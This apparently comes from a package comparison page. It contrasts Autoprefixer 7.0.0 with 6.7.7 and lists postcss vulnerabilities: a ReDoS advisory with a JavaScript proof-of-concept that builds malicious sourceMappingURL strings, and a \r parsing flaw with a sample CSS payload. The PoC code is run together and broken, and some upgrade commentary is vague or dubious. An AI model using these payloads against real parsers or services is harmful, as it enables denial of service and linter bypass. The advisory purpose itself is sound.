Autoprefixer version 7.0.0 marks a significant update from version 6.7.7, bringing key changes that developers should consider. Both versions serve the same core purpose: parsing CSS and adding vendor prefixes based on Can I Use data, ensuring cross-browser compatibility. However, the underlying dependencies have been upgraded in the newer release.
A primary difference lies in the postcss dependency, which jumps from version ^5.2.16 to ^6.0.0. This upgrade suggests potential performance improvements and new features within the PostCSS ecosystem, which Autoprefixer leverages for its CSS processing.
The caniuse-db dependency is replaced with caniuse-lite, and it has also been upgraded, indicating an updated and potentially more lightweight source of browser compatibility data. Developers can expect more accurate and efficient prefixing based on the latest browser support information.
Furthermore, the developer dependencies see a substantial overhaul in version 7.0.0. Notably, testing frameworks like mocha and should in version 6.7.7 are replaced by jest for testing and linting tools such as eslint and babel-eslint are also upgraded. This indicates a shift towards a potentially more modern and streamlined development workflow. The addition of tools like lint-staged and pre-commit highlights a focus on code quality and consistency through automated linting and formatting before commits. Specifically, babel is introduced as dependence and this is a big difference given the recent versions of browsers.
Developers considering upgrading should be aware of these dependency changes, especially the jump from PostCSS 5 to 6, as it may require adjustments to their build processes or configurations, also the introduction of Babel. The upgraded Can I Use data and refined development tooling offer compelling reasons to adopt version 7.0.0 for enhanced browser compatibility and a potentially improved development experience.
All the vulnerabilities related to the version 7.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.